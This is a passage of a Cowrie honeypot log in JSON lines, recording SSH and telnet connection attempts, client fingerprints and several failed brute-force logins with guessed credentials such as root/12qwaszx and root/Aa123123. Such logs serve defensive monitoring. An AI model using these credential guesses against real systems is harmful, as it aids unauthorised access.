{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:28.238080Z","src_ip":"89.223.69.22","session":"120056b47661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60842,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae8e33a8713","protocol":"telnet","message":"New connection: 152.42.224.71:60842 (10.17.0.5:23) [session: 1ae8e33a8713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:29.181173Z"}
{"eventid":"cowrie.session.closed","duration":43.76284885406494,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:30.185657Z","src_ip":"152.42.224.71","session":"69e82313c646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.206.226.233","src_port":32796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e886f360217","protocol":"ssh","message":"New connection: 172.206.226.233:32796 (10.17.0.5:22) [session: 7e886f360217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:30.426693Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e74dde3a8d4","protocol":"telnet","message":"New connection: 152.42.224.71:60846 (10.17.0.5:23) [session: 2e74dde3a8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:30.561399Z"}
{"eventid":"cowrie.session.closed","duration":74.68731307983398,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:32.544302Z","src_ip":"152.42.224.71","session":"40c7d967b4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d7519a7c92f","protocol":"telnet","message":"New connection: 152.42.224.71:60860 (10.17.0.5:23) [session: 2d7519a7c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:33.787059Z"}
{"eventid":"cowrie.session.closed","duration":33.610124349594116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:35.627443Z","src_ip":"152.42.224.71","session":"398c58bf99e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33594,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb38674864a","protocol":"ssh","message":"New connection: 31.40.204.166:33594 (159.203.135.109:22) [session: 0eb38674864a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:36.084213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:36.088736Z","src_ip":"31.40.204.166","session":"0eb38674864a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:36.214308Z","src_ip":"31.40.204.166","session":"0eb38674864a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:36.688986Z","src_ip":"31.40.204.166","session":"0eb38674864a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59344,"dst_ip":"10.17.0.5","dst_port":23,"session":"9106ec33f996","protocol":"telnet","message":"New connection: 152.42.224.71:59344 (10.17.0.5:23) [session: 9106ec33f996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:36.707047Z"}
{"eventid":"cowrie.session.closed","duration":37.746180057525635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:37.497445Z","src_ip":"152.42.224.71","session":"57875cd365f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:37.917989Z","src_ip":"31.40.204.166","session":"0eb38674864a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c9181b5f17","protocol":"telnet","message":"New connection: 152.42.224.71:59350 (10.17.0.5:23) [session: 87c9181b5f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:37.943691Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:40.443257Z","src_ip":"172.206.226.233","session":"7e886f360217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.408992052078247,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:40.447646Z","src_ip":"152.42.224.71","session":"03cf33437b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.206.226.233","src_port":32898,"dst_ip":"10.17.0.5","dst_port":22,"session":"245ba254f63a","protocol":"ssh","message":"New connection: 172.206.226.233:32898 (10.17.0.5:22) [session: 245ba254f63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:40.451605Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:40.455536Z","src_ip":"172.206.226.233","session":"245ba254f63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:40.458854Z","src_ip":"172.206.226.233","session":"245ba254f63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59354,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a6a33410c21","protocol":"telnet","message":"New connection: 152.42.224.71:59354 (10.17.0.5:23) [session: 6a6a33410c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:42.694350Z"}
{"eventid":"cowrie.session.closed","duration":48.20217943191528,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:43.791528Z","src_ip":"152.42.224.71","session":"26a5c1608840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59356,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8f69327c77","protocol":"telnet","message":"New connection: 152.42.224.71:59356 (10.17.0.5:23) [session: fd8f69327c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:45.631614Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07f241710ba","protocol":"telnet","message":"New connection: 152.42.224.71:52666 (10.17.0.5:23) [session: f07f241710ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:46.395848Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35552,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea5012208b0","protocol":"ssh","message":"New connection: 31.40.204.166:35552 (159.203.135.109:22) [session: 0ea5012208b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:47.429383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:47.623926Z","src_ip":"31.40.204.166","session":"0ea5012208b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:47.627286Z","src_ip":"31.40.204.166","session":"0ea5012208b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:48.525113Z","src_ip":"31.40.204.166","session":"0ea5012208b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:49.705510Z","src_ip":"31.40.204.166","session":"0ea5012208b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.16935586929321,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:50.982046Z","src_ip":"152.42.224.71","session":"18170e1ff632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52668,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db5306508ae","protocol":"telnet","message":"New connection: 152.42.224.71:52668 (10.17.0.5:23) [session: 9db5306508ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:51.578599Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"042c57b7085e","protocol":"telnet","message":"New connection: 152.42.224.71:52680 (10.17.0.5:23) [session: 042c57b7085e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:53.436641Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31c3a1043f3","protocol":"telnet","message":"New connection: 152.42.224.71:52684 (10.17.0.5:23) [session: f31c3a1043f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:55.794808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48590,"dst_ip":"10.17.0.5","dst_port":23,"session":"03bba109a029","protocol":"telnet","message":"New connection: 152.42.224.71:48590 (10.17.0.5:23) [session: 03bba109a029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:58.494236Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50468,"dst_ip":"159.203.135.109","dst_port":22,"session":"96eb7d1af888","protocol":"ssh","message":"New connection: 31.40.204.166:50468 (159.203.135.109:22) [session: 96eb7d1af888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:59.720581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:59.725474Z","src_ip":"31.40.204.166","session":"96eb7d1af888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:59.890553Z","src_ip":"31.40.204.166","session":"96eb7d1af888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:00.487713Z","src_ip":"31.40.204.166","session":"96eb7d1af888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:01.620731Z","src_ip":"31.40.204.166","session":"96eb7d1af888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48602,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2d23d8d9eb","protocol":"telnet","message":"New connection: 152.42.224.71:48602 (10.17.0.5:23) [session: 5f2d23d8d9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:03.320130Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48606,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbf34a0da18","protocol":"telnet","message":"New connection: 152.42.224.71:48606 (10.17.0.5:23) [session: 5dbf34a0da18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:03.932846Z"}
{"eventid":"cowrie.session.closed","duration":8.618230819702148,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:04.412928Z","src_ip":"152.42.224.71","session":"f31c3a1043f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"c16f84b2ba62","protocol":"ssh","message":"New connection: 170.106.159.59:41900 (10.17.0.5:22) [session: c16f84b2ba62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.044513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.049367Z","src_ip":"170.106.159.59","session":"c16f84b2ba62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.118597Z","src_ip":"170.106.159.59","session":"c16f84b2ba62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":52958,"dst_ip":"10.17.0.5","dst_port":22,"session":"85e06614e6ef","protocol":"ssh","message":"New connection: 43.156.96.97:52958 (10.17.0.5:22) [session: 85e06614e6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.357632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.362527Z","src_ip":"43.156.96.97","session":"85e06614e6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.57734513282776,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.367343Z","src_ip":"152.42.224.71","session":"50fbe6d95970","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.434731Z","src_ip":"170.106.159.59","session":"c16f84b2ba62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:05.600211Z","src_ip":"43.156.96.97","session":"85e06614e6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:06.507217Z","src_ip":"170.106.159.59","session":"c16f84b2ba62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rori","message":"login attempt [root/rori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:06.581551Z","src_ip":"43.156.96.97","session":"85e06614e6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:07.821740Z","src_ip":"43.156.96.97","session":"85e06614e6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44678,"dst_ip":"159.203.135.109","dst_port":22,"session":"705b7845781c","protocol":"ssh","message":"New connection: 31.40.204.166:44678 (159.203.135.109:22) [session: 705b7845781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:11.614054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:11.618617Z","src_ip":"31.40.204.166","session":"705b7845781c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2